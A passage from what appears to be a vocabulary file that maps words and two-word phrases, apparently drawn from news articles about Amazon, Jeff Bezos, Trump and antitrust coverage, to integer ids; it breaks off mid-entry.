"impresario chuck": 176345, "grow closer": 176346, "cult films": 176347, "tie breaking": 176348, "sensing": 176349, "fbi interview": 176350, "mixing": 176351, "bezos function": 176352, "students including": 176353, "latest polls": 176354, "insecurity": 176355, "workers furloughed": 176356, "arsenal president": 176357, "future foxconn": 176358, "advocate office": 176359, "markets stock": 176360, "supports democrats": 176361, "gettinghit": 176362, "mentoring": 176363, "angle reference": 176364, "collective silence": 176365, "enemies jeff": 176366, "prism government": 176367, "ease": 176368, "sa a4ee": 176369, "endless array": 176370, "ancient stream": 176371, "trump everyday": 176372, "airports commuter": 176373, "administration poses": 176374, "impeachable offenses": 176375, "daily rundown": 176376, "mayor buddy": 176377, "kleponis pool": 176378, "information isn": 176379, "fraudulent listings": 176380, "tighten obama": 176381, "duet bluetooth": 176382, "36th": 176383, "postal systems": 176384, "operations hub": 176385, "riley fbr": 176386, "blonde": 176387, "interests 8211": 176388, "8221 model": 176389, "cvs flyers": 176390, "united airlines": 176391, "border biodiversity": 176392, "beda founder": 176393, "employee donations": 176394, "criminal guilt": 176395, "wins wisconsin": 176396, "comments powered": 176397, "facing backlash": 176398, "trump activists": 176399, "cheer": 176400, "gotti": 176401, "chandon los": 176402, "gadgetry": 176403, "plays king": 176404, "branded trucks": 176405, "steadiest": 176406, "despite amazon": 176407, "residents stranded": 176408, "twisty mischief": 176409, "losses dems": 176410, "putting mick": 176411, "possible vulnerabilities": 176412, "facebook bolsonaro": 176413, "criminal defense": 176414, "marc9926": 176415, "protestors arrested": 176416, "interior": 176417, "ronald kessler": 176418, "mentioned interior": 176419, "water shortages": 176420, "concussion settlement": 176421, "johnson alex": 176422, "chinese exporters": 176423, "william davis": 176424, "account claiming": 176425, "won trump": 176426, "white monoliths": 176427, "employees hits": 176428, "bramer vocal": 176429, "deliver significant": 176430, "dream target": 176431, "whistles": 176432, "supercorporation": 176433, "juncker heads": 176434, "973": 176435, "stars martin": 176436, "reported 160": 176437, "dna vanity": 176438, "apple alphabet": 176439, "soared ahead": 176440, "bartiromo interesting": 176441, "company investigated": 176442, "lumps": 176443, "create accounts": 176444, "grow businesses": 176445, "forest policy": 176446, "group cvs": 176447, "star significant": 176448, "removals alonzo": 176449, "poe": 176450, "large parts": 176451, "party squabbles": 176452, "race gender": 176453, "subsidies including": 176454, "film book": 176455, "personally moser": 176456, "companies rigged": 176457, "hq2 fbi": 176458, "orderly demise": 176459, "lines": 176460, "rickjnewman yahoo": 176461, "selfie photos": 176462, "going camping": 176463, "senator flags": 176464, "kim": 176465, "usps employee": 176466, "activity biller": 176467, "break rules": 176468, "thesis cicilline": 176469, "year expect": 176470, "post warren": 176471, "acquiring": 176472, "valley led": 176473, "drawn closer": 176474, "popular sports": 176475, "fending": 176476, "men sit": 176477, "production outside": 176478, "news analyst": 176479, "thoughts ahead": 176480, "agencies antitrust": 176481, "thetrump presidency": 176482, "depreciated": 176483, "lower income": 176484, "7203": 176485, "tax structure": 176486, "amazon nixes": 176487, "claim": 176488, "true law": 176489, "corporatist ally": 176490, "economic club": 176491, "recce": 176492, "bigfoot cronyism": 176493, "unlike meng": 176494, "click retail": 176495, "potentially embarrassing": 176496, "abroad winning": 176497, "uu ceo": 176498, "nscola": 176499, "wiggle room": 176500, "leading theory": 176501, "nonetheless trump": 176502, "amazon outsized": 176503, "vanderbilt": 176504, "potency donald": 176505, "country unaccountable": 176506, "panel molly": 176507, "ryanhuber": 176508, "teach letter": 176509, "thought": 176510, "taking bullet": 176511, "spaceflight services": 176512, "airport dca": 176513, "unprincipled leader": 176514, "press president": 176515, "demons": 176516, "goods problem": 176517, "foods": 176518, "possibility fedex": 176519, "worsen": 176520, "immigrant rights": 176521, "damage": 176522, "contrition": 176523, "hamas downloaded": 176524, "amazon provided": 176525, "apparently kind": 176526, "student bezos": 176527, "newspaper friend": 176528, "rates slowing": 176529, "comgest sas": 176530, "monopolization": 176531, "microsoft oracle": 176532, "ordering federal": 176533, "18156220": 176534, "worst president": 176535, "gm reduced": 176536, "facing shortage": 176537, "vehicles sold": 176538, "highly sympathetic": 176539, "adjourns": 176540, "prized": 176541, "priced devices": 176542, "chao encouraged": 176543, "russian federation": 176544, "address variety": 176545, "donor amazon": 176546, "called acute": 176547, "index helped": 176548, "ap canadian": 176549, "facebook sins": 176550, "catz": 176551, "sam dec": 176552, "generational war": 176553, "lineup": 176554, "chains celebrated": 176555, "value added": 176556, "q0 h8": 176557, "bitter criticism": 176558, "begin healthy": 176559, "bezos chosen": 176560, "bezos impending": 176561, "celtic boss": 176562, "tun house": 176563, "executed": 176564, "individuals sign": 176565, "jersey mansion": 176566, "roots": 176567, "vocal group": 176568, "998658237292462080": 176569, "entertained": 176570, "attack president": 176571, "calmly": 176572, "continuing scrutiny": 176573, "technology rekognition": 176574, "writing daily": 176575, "blender small": 176576, "enquirer detailed": 176577, "hold big": 176578, "broadcasters": 176579, "believed debunked": 176580, "approaching visit": 176581, "2018 sisters": 176582, "walked": 176583, "date read": 176584, "monarchies help": 176585, "jangling nerves": 176586, "seek registered": 176587, "coal instead": 176588, "major retailers": 176589, "spurred": 176590, "michael nice": 176591, "acquired github": 176592, "workers say": 176593, "sec nielsen": 176594, "pressing moral": 176595, "rant heightened": 176596, "fresh sketches": 176597, "latest push": 176598, "thinking decimals": 176599, "burning white": 176600, "claire": 176601, "mistaking": 176602, "owns cnn": 176603, "1542086192 mod": 176604, "novel king": 176605, "story faded": 176606, "areemployed": 176607, "intuit": 176608, "nami dockery": 176609, "convince federal": 176610, "galvanizing beginning": 176611, "stress disorder": 176612, "company symantec": 176613, "proof intent": 176614, "profit estimates": 176615, "masked": 176616, "associates zach": 176617, "texted": 176618, "divorce statements": 176619, "skyline": 176620, "q2 loss": 176621, "recent huffpost": 176622, "people decide": 176623, "vestager questions": 176624, "international prime": 176625, "ave reference": 176626, "propagandists": 176627, "health disney": 176628, "schedules amazon": 176629, "backlash depending": 176630, "host cuts": 176631, "amzn jpmorgan": 176632, "american book": 176633, "05m": 176634, "org editor": 176635, "galvanize": 176636, "shooting investigators": 176637, "mullaney": 176638, "california law": 176639, "cybersecurity": 176640, "unfair prison": 176641, "idiot": 176642, "town set": 176643, "amazon sen": 176644, "entirely familiar": 176645, "containerid cvpid": 176646, "firebrand touched": 176647, "joe simons": 176648, "pair ran": 176649, "commerce analytics": 176650, "increasingly player": 176651, "liii fedex": 176652, "joseph otting": 176653, "taxes misusing": 176654, "image utm_content": 176655, "doe action": 176656, "fleetwood": 176657, "green hair": 176658, "retaliatory directives": 176659, "term stealth": 176660, "horror suggestions": 176661, "author reputation": 176662, "wharton management": 176663, "ceo ken": 176664, "separate fiefdoms": 176665, "dsps amazon": 176666, "outlining": 176667, "clue minding": 176668, "collided": 176669, "nonprosecution": 176670, "gift guides": 176671, "ridiculous stunts": 176672, "nation coal": 176673, "tobosbunny": 176674, "skeptical amid": 176675, "life benefits": 176676, "cameras train": 176677, "better don": 176678, "0604et copyright": 176679, "130m": 176680, "ranking released": 176681, "rampant": 176682, "business transaction": 176683, "witter": 176684, "fukunaga true": 176685, "case ultimately": 176686, "springer headquarters": 176687, "google absorption": 176688, "picture supplied": 176689, "frequently mocks": 176690, "companies isn": 176691, "carrier services": 176692, "progressive class": 176693, "dressage": 176694, "hit later": 176695, "programming tiny": 176696, "crash boeing": 176697, "says steered": 176698, "post iven": 176699, "fears grew": 176700, "house preliminary": 176701, "space weaponry": 176702, "melting": 176703, "future strategic": 176704, "924": 176705, "centered": 176706, "course choosing": 176707, "months amazon": 176708, "iran vows": 176709, "began examining": 176710, "partners amazon": 176711, "ares": 176712, "shinjini ganguli": 176713, "fedex international": 176714, "quite challenge": 176715, "elected florida": 176716, "billionaires involved": 176717, "brennan explained": 176718, "antitrust hearing": 176719, "release earnings": 176720, "repeatedly shown": 176721, "jimmy fallon": 176722, "listings mentioned": 176723, "indra": 176724, "suburb skokie": 176725, "article mondays": 176726, "hannah gadsby": 176727, "widen": 176728, "2013 following": 176729, "30000": 176730, "concentration": 176731, "2019 conference": 176732, "billion folly": 176733, "inmate face": 176734, "ceo safra": 176735, "allegedly spreading": 176736, "partly": 176737, "scott allen": 176738, "raising concerns": 176739, "medication josh": 176740, "day weekend": 176741, "gently nodding": 176742, "annually reports": 176743, "drugstores pharmacy": 176744, "nationalist imagery": 176745, "create potential": 176746, "monopsony large": 176747, "bryn mawr": 176748, "independent sellers": 176749, "disney streaming": 176750, "british cave": 176751, "bloomberg second": 176752, "chromecast": 176753, "andy mukherjee": 176754, "story alex": 176755, "unfairly competes": 176756, "statement": 176757, "recorded company": 176758, "polar opposites": 176759, "abudu urged": 176760, "pals roger": 176761, "rebate effectively": 176762, "bhagwan": 176763, "uber sustainable": 176764, "spokesman declined": 176765, "poor people": 176766, "holdings intersect": 176767, "singapore blue": 176768, "investigation conducted": 176769, "gsa official": 176770, "traded yelp": 176771, "mislabels violent": 176772, "newcomers": 176773, "keytruda": 176774, "comments stunned": 176775, "theatres": 176776, "jiayang": 176777, "ottolenghi simple": 176778, "including retailers": 176779, "flick": 176780, "testify north": 176781, "nicki": 176782, "northbound": 176783, "urged postmaster": 176784, "analysts polled": 176785, "billion wisconsin": 176786, "single females": 176787, "lawyer frank": 176788, "beach counties": 176789, "companies love": 176790, "season murder": 176791, "sec operating": 176792, "1449et copyright": 176793, "clients": 176794, "economy nah": 176795, "help ease": 176796, "setting": 176797, "paying living": 176798, "firm cambridge": 176799, "survey illustrates": 176800, "strout toni": 176801, "lets employers": 176802, "think companies": 176803, "amazon retailers": 176804, "trump folks": 176805, "ruthless dictator": 176806, "readystate": 176807, "biggest claims": 176808, "foreclosed homes": 176809, "lovesick tweets": 176810, "frequent attacks": 176811, "takeaways": 176812, "commerce spending": 176813, "thorny issue": 176814, "emission reductions": 176815, "helderman": 176816, "amazon day": 176817, "opinion": 176818, "2017 bianco": 176819, "unprecedented midterm": 176820, "match group": 176821, "final game": 176822, "true trump": 176823, "opinion section": 176824, "levies": 176825, "visit web": 176826, "quoted martin": 176827, "producing nations": 176828, "service activist": 176829, "ariel": 176830, "pizzagate believer": 176831, "country including": 176832, "entire worlds": 176833, "dietary": 176834, "grateful american": 176835, "coiro sitting": 176836, "babb told": 176837, "zuker new": 176838, "certain candidates": 176839, "conversation pichai": 176840, "muslims trump": 176841, "finally chose": 176842, "modern homes": 176843, "extortion ami": 176844, "conversations investors": 176845, "process council": 176846, "experience widespread": 176847, "mission joined": 176848, "pembroke": 176849, "membership renewal": 176850, "gillibrand want": 176851, "packs": 176852, "public affairs": 176853, "account amazon": 176854, "day protest": 176855, "making america": 176856, "rigged witch": 176857, "cars clog": 176858, "foundation ceo": 176859, "resembles small": 176860, "rates usps": 176861, "furnishings players": 176862, "000 prices": 176863, "rare victory": 176864, "indicate trump": 176865, "tucson cement": 176866, "security decision": 176867, "jacqueline newman": 176868, "issuing rare": 176869, "routinely took": 176870, "century integrated": 176871, "commission faces": 176872, "forests ecologically": 176873, "fbi kept": 176874, "voters majority": 176875, "tariffs cost": 176876, "breathe": 176877, "bump isn": 176878, "wield": 176879, "fernandes interesting": 176880, "worked improperly": 176881, "intercut": 176882, "included student": 176883, "dreamed need": 176884, "seeds herbs": 176885, "sentinel hot": 176886, "offer competitive": 176887, "ami enquirer": 176888, "story using": 176889, "coded levels": 176890, "liar loans": 176891, "hbo announced": 176892, "erroneous": 176893, "force policy": 176894, "resolved today": 176895, "costs nobel": 176896, "gallingly refused": 176897, "boosting jeff": 176898, "retirement according": 176899, "low competition": 176900, "latest tensions": 176901, "sharply": 176902, "export infrastructure": 176903, "fau schmidt": 176904, "post revealed": 176905, "life past": 176906, "landless social": 176907, "voicing": 176908, "latest children": 176909, "attacked county": 176910, "jobs just": 176911, "avoid having": 176912, "including night": 176913, "crybaby photo": 176914, "shrink": 176915, "choose winning": 176916, "pavilion": 176917, "cases confirmed": 176918, "man detained": 176919, "party saying": 176920, "night host": 176921, "faries": 176922, "ceo executive": 176923, "couldn confirm": 176924, "basic strategy": 176925, "stern": 176926, "homeless population": 176927, "claims group": 176928, "putting road": 176929, "active contract": 176930, "shutdown looms": 176931, "takes control": 176932, "killed president": 176933, "shares dropped": 176934, "hq2 2019": 176935, "amazon watch": 176936, "retweeting": 176937, "fellow faang": 176938, "getty image": 176939, "enquirer coverage": 176940, "planet amazon": 176941, "sends ripples": 176942, "kelly princesses": 176943, "firm respond": 176944, "told": 176945, "magazine covers": 176946, "jacobson recounts": 176947, "castigates people": 176948, "precious asset": 176949, "unequal": 176950, "know itdepends": 176951, "the25th": 176952, "pisani": 176953, "law rep": 176954, "po oil": 176955, "tag appears": 176956, "sink brody": 176957, "day sustain": 176958, "people injured": 176959, "immigrant mom": 176960, "packages instead": 176961, "labor problem": 176962, "bootleg upload": 176963, "best illusions": 176964, "ahead commercial": 176965, "worker uses": 176966, "weise": 176967, "shutdown speech": 176968, "publicly called": 176969, "shelf long": 176970, "1892": 176971, "netflix business": 176972, "sonos": 176973, "videoplayer getlibraryname": 176974, "cash 2019": 176975, "heavily implied": 176976, "gingerbread people": 176977, "633a4f8c129d pf_rd_i": 176978, "healthcare companies": 176979, "pushed turnout": 176980, "seen president": 176981, "remove president": 176982, "asylum": 176983, "arrest warrant": 176984, "business peaked": 176985, "realty advisors": 176986, "key expense": 176987, "disruptor": 176988, "growth soared": 176989, "loves success": 176990, "institution fellow": 176991, "fox nation": 176992, "biased fake": 176993, "profit reinvestment": 176994, "clouds referred": 176995, "alternate": 176996, "wants kick": 176997, "addressing mining": 176998, "units": 176999, "security component": 177000, "kastrenakes": 177001, "everyday devices": 177002, "technical cooperation": 177003, "emarketer read": 177004, "able": 177005, "gun righteous": 177006, "systematically removed": 177007, "indian rupees": 177008, "function": 177009, "isbn 978": 177010, "related employment": 177011, "online different": 177012, "dying uncle": 177013, "immeasurable economic": 177014, "eyes shine": 177015, "journalists following": 177016, "best campaign": 177017, "project shows": 177018, "supreme usa": 177019, "officer jeff": 177020, "make investments": 177021, "romance": 177022, "brought low": 177023, "uncontainable fires": 177024, "buying stock": 177025, "hallow": 177026, "flint mall": 177027, "better things": 177028, "thinkings involving": 177029, "actually reaching": 177030, "aides disparage": 177031, "retail earnings": 177032, "algeria rocked": 177033, "particular muckerman": 177034, "keeping maps": 177035, "continuing navarro": 177036, "exas creative": 177037, "formulating hate": 177038, "film documents": 177039, "international data": 177040, "nafta according": 177041, "enrolment": 177042, "absolute basis": 177043, "dirty bomb": 177044, "a4ee p1": 177045, "receive check": 177046, "richie": 177047, "2017 acosta": 177048, "sensitivity": 177049, "notre": 177050, "economic reality": 177051, "offers keynote": 177052, "idea resulted": 177053, "paul safe": 177054, "squawk box": 177055, "stolen wages": 177056, "amazon vertical": 177057, "principal sponsor": 177058, "breaking number": 177059, "super bowl": 177060, "landfall fernando": 177061, "location hostname": 177062, "urban development": 177063, "minor children": 177064, "democrats especially": 177065, "expensive lawsuits": 177066, "netflix wild": 177067, "pyjamas": 177068, "commerce steadily": 177069, "dedicated people": 177070, "bourdain talks": 177071, "partygoers": 177072, "dividend blue": 177073, "estranged spouses": 177074, "badassery": 177075, "media unit": 177076, "preventing return": 177077, "costly divorce": 177078, "publicity constantly": 177079, "customer preferences": 177080, "deal brexit": 177081, "600m contract": 177082, "multiple results": 177083, "abbi jacobson": 177084, "amazon cozy": 177085, "progress ahead": 177086, "employees living": 177087, "payment processing": 177088, "david williams": 177089, "special shareholders": 177090, "sellers products": 177091, "city style": 177092, "google canada": 177093, "assumed package": 177094, "reno": 177095, "market 6097408": 177096, "year firecracker": 177097, "tribute": 177098, "defer": 177099, "political works": 177100, "guru instead": 177101, "anadolu": 177102, "handlers offload": 177103, "satchatuk rt": 177104, "called ami": 177105, "450 people": 177106, "billion joint": 177107, "fulfillment service": 177108, "expecting": 177109, "streaming netflix": 177110, "jpg img_caption": 177111, "significantly focused": 177112, "quick hits": 177113, "microneedles": 177114, "opening": 177115, "amazon subsidiary": 177116, "global art": 177117, "nelson gives": 177118, "recalled": 177119, "tyranny maybe": 177120, "reimpose": 177121, "news wt": 177122, "wall streets": 177123, "anya taylor": 177124, "retired navy": 177125, "delegitimizing": 177126, "1055524794110664704": 177127, "nixon cynthianixon": 177128, "companies including": 177129, "winning cities": 177130, "difference hours": 177131, "deal lasts": 177132, "make issues": 177133, "ethan coen": 177134, "driving business": 177135, "stump": 177136, "strange": 177137, "r4ee c4e": 177138, "640 shares": 177139, "mutual wealth": 177140, "day half": 177141, "2018 tech": 177142, "presssec": 177143, "mantra": 177144, "nominations": 177145, "campaigns person": 177146, "doubted": 177147, "jessie woolley": 177148, "itep received": 177149, "phillip": 177150, "boardrooms given": 177151, "fueled varney": 177152, "george clooney": 177153, "bezos insinuated": 177154, "remember president": 177155, "virtually ensures": 177156, "help figure": 177157, "protest number": 177158, "states especially": 177159, "pendleton": 177160, "abruptly aborted": 177161, "true believers": 177162, "mountable": 177163, "protects freedom": 177164, "visually stunning": 177165, "wants silicon": 177166, "hassle": 177167, "pretty rough": 177168, "adjourned": 177169, "allow vote": 177170, "editorializes": 177171, "hispanic": 177172, "rail safety": 177173, "hope anderson": 177174, "sector declined": 177175, "grace revival": 177176, "actually include": 177177, "repatriates": 177178, "stakes digital": 177179, "2017 year": 177180, "citizen outrage": 177181, "moguldom media": 177182, "rare writer": 177183, "indefensible scam": 177184, "space autonomic": 177185, "patrice": 177186, "obama executive": 177187, "burgeoning divide": 177188, "goldenbenjamin": 177189, "retailer announced": 177190, "1536177183 tesla": 177191, "value platform": 177192, "expedition witch": 177193, "gaga": 177194, "nasty concept": 177195, "deleting vaccine": 177196, "802 660": 177197, "just right": 177198, "tweet hailed": 177199, "products amazon": 177200, "record amounts": 177201, "local news": 177202, "face antitrust": 177203, "reveal winning": 177204, "trump enemies": 177205, "east river": 177206, "just net": 177207, "2018 abc": 177208, "biggest monopolies": 177209, "sykes sykescharlie": 177210, "amazon amzn": 177211, "cuts outline": 177212, "state visiting": 177213, "longtime online": 177214, "homeland bolsonaro": 177215, "proudly delivers": 177216, "t000002775": 177217, "spread misleading": 177218, "infinite": 177219, "held rallies": 177220, "patricia": 177221, "pondering": 177222, "acquire twitter": 177223, "washington members": 177224, "private usa": 177225, "korean deal": 177226, "007": 177227, "845m did": 177228, "messaging service": 177229, "bp public": 177230, "thing entirely": 177231, "dirty text": 177232, "couldn substantiate": 177233, "report transcripts": 177234, "housing assistance": 177235, "momentum": 177236, "center estimates": 177237, "self regulate": 177238, "war hints": 177239, "grappled": 177240, "lift tax": 177241, "air transport": 177242, "gain market": 177243, "sports fans": 177244, "released low": 177245, "finance bitcoin": 177246, "consumer manufacturing": 177247, "movement notched": 177248, "laws based": 177249, "demonstrating bias": 177250, "retail profits": 177251, "homosexual community": 177252, "gop agenda": 177253, "american foundation": 177254, "jeffries ruffled": 177255, "altogether ignored": 177256, "antitrust chief": 177257, "humane just": 177258, "service reports": 177259, "combos feature": 177260, "youtube star": 177261, "vel\u00e1zquez": 177262, "freddy kunkle": 177263, "exciting streamlined": 177264, "likable characters": 177265, "software amazon": 177266, "require corporations": 177267, "law creates": 177268, "self run": 177269, "mexico pay": 177270, "impressive run": 177271, "jv ceo": 177272, "football hall": 177273, "kaya": 177274, "crowning achievement": 177275, "imposter potus": 177276, "routine wage": 177277, "geneva": 177278, "wouldn benefit": 177279, "mccarthy leading": 177280, "people react": 177281, "cheap bobblehead": 177282, "invest billion": 177283, "local agent": 177284, "aws blogamazon": 177285, "orders bare": 177286, "wages better": 177287, "leaguers": 177288, "raccoon wasn": 177289, "appropriate yes": 177290, "muckraking new": 177291, "street sharply": 177292, "film donnell": 177293, "intopresident": 177294, "cbpp": 177295, "compile today": 177296, "liberal radical": 177297, "celebrity deaths": 177298, "media traffic": 177299, "crossers month": 177300, "blue team": 177301, "row according": 177302, "immediate target": 177303, "p7": 177304, "create jobs": 177305, "disinformation": 177306, "deportations amazon": 177307, "black philips": 177308, "problem doing": 177309, "delivery freight": 177310, "opposing president": 177311, "charity baseball": 177312, "different tale": 177313, "niantic senior": 177314, "warned staff": 177315, "make donation": 177316, "receive validation": 177317, "cheapskates explained": 177318, "workers don": 177319, "tabloid donald": 177320, "numerous current": 177321, "public wsj": 177322, "founder bozo": 177323, "charles mudede": 177324, "time consuming": 177325, "plate taxes": 177326, "contrarian": 177327, "effectively written": 177328, "angry planet": 177329, "infrastructure troublesome": 177330, "small landholders": 177331, "faced plethora": 177332, "severe storms": 177333, "sanders vermont": 177334, "blackmail despite": 177335, "positive average": 177336, "mad": 177337, "500 residents": 177338, "favorite trump": 177339, "separation myth": 177340, "tech democratic": 177341, "americans increasingly": 177342, "20stories pgtype": 177343, "mocking fed": 177344, "left office": 177345, "member miller": 177346, "brandingtextsub cardsectionname": 177347, "retailer eradicating": 177348, "democratic rep": 177349, "amzn massachusetts": 177350, "data wages": 177351, "amazon demise": 177352, "players 1529509628": 177353, "m\u025bnz \u02c8ri": 177354, "hire tens": 177355, "dollar counts": 177356, "ranks second": 177357, "vegas porn": 177358, "meaning 800": 177359, "needy dipping": 177360, "basically dominate": 177361, "tanker": 177362, "ex reality": 177363, "nice james": 177364, "qualify governor": 177365, "goodlatte position": 177366, "study finds": 177367, "help homeless": 177368, "entering campus": 177369, "prominently paul": 177370, "storing food": 177371, "caused series": 177372, "picking fight": 177373, "supplements": 177374, "device secretly": 177375, "pacer": 177376, "locher": 177377, "south lawn": 177378, "videos seen": 177379, "pentagon mail": 177380, "schiff identified": 177381, "critical stance": 177382, "make half": 177383, "agile hasn": 177384, "senior antitrust": 177385, "image recognition": 177386, "holiday delivery": 177387, "siegler new": 177388, "clarity later": 177389, "unimagined stories": 177390, "rhetoric big": 177391, "asking davie": 177392, "contains trump": 177393, "special thanks": 177394, "seemingly": 177395, "aerial drones": 177396, "periphery": 177397, "agency investigators": 177398, "readers hardly": 177399, "182 zach": 177400, "troubled lawyer": 177401, "country stock": 177402, "pubg_mobile": 177403, "story avalaras": 177404, "sent cities": 177405, "youths": 177406, "dismiss lawsuit": 177407, "lighters updated": 177408, "000 likes": 177409, "card stock": 177410, "transportation": 177411, "australian drama": 177412, "alana": 177413, "aut_footer_blurb": 177414, "members list": 177415, "baron predecessors": 177416, "household earning": 177417, "politics diplomacy": 177418, "rights home": 177419, "large institutional": 177420, "500 increased": 177421, "jessica abo": 177422, "linkedin amazon": 177423, "shephard argues": 177424, "labelled alexandria": 177425, "netflix today": 177426, "finding mailbox": 177427, "world imageurl": 177428, "profane chants": 177429, "employees qualify": 177430, "users": 177431, "hour deliveries": 177432, "building hotel": 177433, "warren new": 177434, "sex act": 177435, "commerce customers": 177436, "measles prime": 177437, "wh possible": 177438, "threw fits": 177439, "living standards": 177440, "tv executives": 177441, "modest tax": 177442, "michelle": 177443, "shippers postal": 177444, "meetings appeared": 177445, "town manager": 177446, "analysts expectations": 177447, "city feb": 177448, "discovered legal": 177449, "feet inches": 177450, "admiral house": 177451, "facebook group": 177452, "potent neurological": 177453, "hacked following": 177454, "wants desperately": 177455, "bright idea": 177456, "mentioned trump": 177457, "solving algebra": 177458, "king suspenseful": 177459, "nh": 177460, "sparked": 177461, "general jeff": 177462, "purpose google": 177463, "hat knockoffs": 177464, "negative story": 177465, "clashes amazon": 177466, "kit comprises": 177467, "lockheed marillyn": 177468, "absolutely think": 177469, "columnist trump": 177470, "big pricey": 177471, "cancelled phone": 177472, "analysis itep": 177473, "essentially encouraging": 177474, "karen weise": 177475, "voters support": 177476, "recently promises": 177477, "glitch news": 177478, "witzig": 177479, "rigging results": 177480, "act flsa": 177481, "written attacks": 177482, "companies picked": 177483, "grade according": 177484, "preventdefault a4ee": 177485, "fathered child": 177486, "water levels": 177487, "outlets senior": 177488, "talk galloway": 177489, "publicly rebut": 177490, "financial risks": 177491, "ceasing purchases": 177492, "microsoft currently": 177493, "stolen products": 177494, "program fourth": 177495, "rep deb": 177496, "outskirts": 177497, "aug photo": 177498, "represent formalization": 177499, "documents france": 177500, "2018 yanny": 177501, "market power": 177502, "estimates kind": 177503, "rich financial": 177504, "criminal murderous": 177505, "heir apparent": 177506, "predecessors": 177507, "virginia teachers": 177508, "grids": 177509, "rejecting": 177510, "pro black": 177511, "past bands": 177512, "captivating": 177513, "google employee": 177514, "pop": 177515, "business owner": 177516, "political analyst": 177517, "pecker close": 177518, "gagster": 177519, "years washington": 177520, "easley observed": 177521, "designed carries": 177522, "hardie": 177523, "gas emitter": 177524, "gupta": 177525, "panoramic original": 177526, "komorebi": 177527, "participant media": 177528, "latest breaking": 177529, "workers saying": 177530, "located right": 177531, "run successful": 177532, "president attempting": 177533, "john diaz": 177534, "2018 lose": 177535, "muse": 177536, "ideal situation": 177537, "powerful storms": 177538, "enquirer article": 177539, "life lessons": 177540, "story american": 177541, "q2 revenue": 177542, "elizabeth jardim": 177543, "korea denuclearization": 177544, "livewire business": 177545, "scott stringer": 177546, "fingernails": 177547, "expectations thanks": 177548, "newhouse": 177549, "containerclassid cnn": 177550, "programming assets": 177551, "company reputation": 177552, "californian": 177553, "pretends": 177554, "beatles single": 177555, "polluter pointing": 177556, "dabbled": 177557, "americans pay": 177558, "teens forming": 177559, "idiotic war": 177560, "2020 npr": 177561, "raise 200": 177562, "andy rubin": 177563, "photo kelly": 177564, "increasingly polarized": 177565, "swamp looks": 177566, "stamps sanders": 177567, "indian smartphone": 177568, "wmj orig": 177569, "illinois progressive": 177570, "spacey": 177571, "kelsey snell": 177572, "discover": 177573, "ass fight": 177574, "driving retailers": 177575, "site politico": 177576, "prim amazon": 177577, "porn traffic": 177578, "received hundreds": 177579, "coupon code": 177580, "reported amazon": 177581, "commission does": 177582, "underappreciated": 177583, "parker pillpack": 177584, "lawsuit earlier": 177585, "ice case": 177586, "received including": 177587, "deutsch republicans": 177588, "children ran": 177589, "exceptional": 177590, "walmart stores": 177591, "miller requested": 177592, "756 million": 177593, "valuable public": 177594, "frum": 177595, "lobbying efforts": 177596, "maintaining": 177597, "welcome aboard": 177598, "packaged shipped": 177599, "reportedly gearing": 177600, "months pirro": 177601, "user": 177602, "762 billion": 177603, "france ap": 177604, "day rate": 177605, "bad years": 177606, "pointed": 177607, "lightweight": 177608, "adopted heated": 177609, "wasp": 177610, "view full_report": 177611, "new followers": 177612, "profit double": 177613, "trump rally": 177614, "proclamation": 177615, "york jfk": 177616, "work requirements": 177617, "clue cnn": 177618, "hasn broken": 177619, "2s9tl9g": 177620, "area aggressively": 177621, "thwarting": 177622, "credit cheap": 177623, "investigation vestager": 177624, "reached turning": 177625, "398": 177626, "security business": 177627, "deep cuts": 177628, "temporarily": 177629, "thanked": 177630, "andrea ricci": 177631, "joint fear": 177632, "public divorce": 177633, "click pgtype": 177634, "undoubtedly spill": 177635, "biggest manufactured": 177636, "haste makes": 177637, "backed funding": 177638, "director donna": 177639, "warehouse footprint": 177640, "anymore thank": 177641, "redwood": 177642, "totalitarian statements": 177643, "encouraging": 177644, "ami proposed": 177645, "line canadian": 177646, "states launch": 177647, "gold prices": 177648, "wary eye": 177649, "ships items": 177650, "getting easier": 177651, "traditional residence": 177652, "general secretary": 177653, "follows ttph": 177654, "dying department": 177655, "popular device": 177656, "___________________________": 177657, "amazon milks": 177658, "cannibas": 177659, "prns": 177660, "halliburton subsidiary": 177661, "worldwide currently": 177662, "owns scribner": 177663, "bundling video": 177664, "pullout announced": 177665, "detectives": 177666, "qid": 177667, "kathleen benedetto": 177668, "interactive graphic": 177669, "win amazon": 177670, "politicopro": 177671, "faced harsh": 177672, "playbook reads": 177673, "selfies caption": 177674, "smaller deals": 177675, "low humidity": 177676, "facing irrelevance": 177677, "make specific": 177678, "golden goose": 177679, "vc": 177680, "pa qa": 177681, "pilot pg": 177682, "springer": 177683, "inhaling nitrous": 177684, "journalism think": 177685, "destroy trump": 177686, "liss": 177687, "bestseller chart": 177688, "sending mixed": 177689, "extant amazon": 177690, "life event": 177691, "heading": 177692, "committee spoke": 177693, "trump routinely": 177694, "requiring": 177695, "inward worrying": 177696, "swooned sears": 177697, "2018 want": 177698, "livid": 177699, "interracial buddy": 177700, "directions": 177701, "memo": 177702, "usps presumably": 177703, "bento": 177704, "administration wants": 177705, "scripted remarks": 177706, "dandrezner": 177707, "measure later": 177708, "certain powerful": 177709, "seen headlines": 177710, "global perspectives": 177711, "video views": 177712, "international market": 177713, "enquirer levenson": 177714, "includes parts": 177715, "yorkers queens": 177716, "close tax": 177717, "code amazon": 177718, "rely heavily": 177719, "anna reportedly": 177720, "second richest": 177721, "exempted": 177722, "saudis furious": 177723, "simulated oral": 177724, "mourning scholarly": 177725, "industry warren": 177726, "crimes unit": 177727, "seller wayfair": 177728, "nighttime": 177729, "meeting krystal": 177730, "new charged": 177731, "skimpy": 177732, "undermining faith": 177733, "innovation office": 177734, "giants smartphone": 177735, "tourists make": 177736, "self published": 177737, "yesterday new": 177738, "western metlife": 177739, "looks ripe": 177740, "ripley senior": 177741, "original software": 177742, "500 bon": 177743, "published video": 177744, "importation": 177745, "transportation improvements": 177746, "5835 sky": 177747, "florence instead": 177748, "source conveys": 177749, "brother trump": 177750, "phenomenon isn": 177751, "barr spying": 177752, "training program": 177753, "adds deals": 177754, "facebook fell": 177755, "initially rejected": 177756, "sleeping": 177757, "amazon regarded": 177758, "premium embedded": 177759, "eu increasingly": 177760, "moving homeless": 177761, "navarro dismissed": 177762, "democrat bernie": 177763, "doesn continue": 177764, "genuinely funny": 177765, "prince philip": 177766, "expertise": 177767, "tfdp": 177768, "banned donald": 177769, "whohas": 177770, "considering moving": 177771, "sports finding": 177772, "guantanamo": 177773, "eli tucker": 177774, "vaccine documentaries": 177775, "city stance": 177776, "cook vegan": 177777, "radio television": 177778, "jeff zelevansky": 177779, "pecker connection": 177780, "investor baron": 177781, "amazon 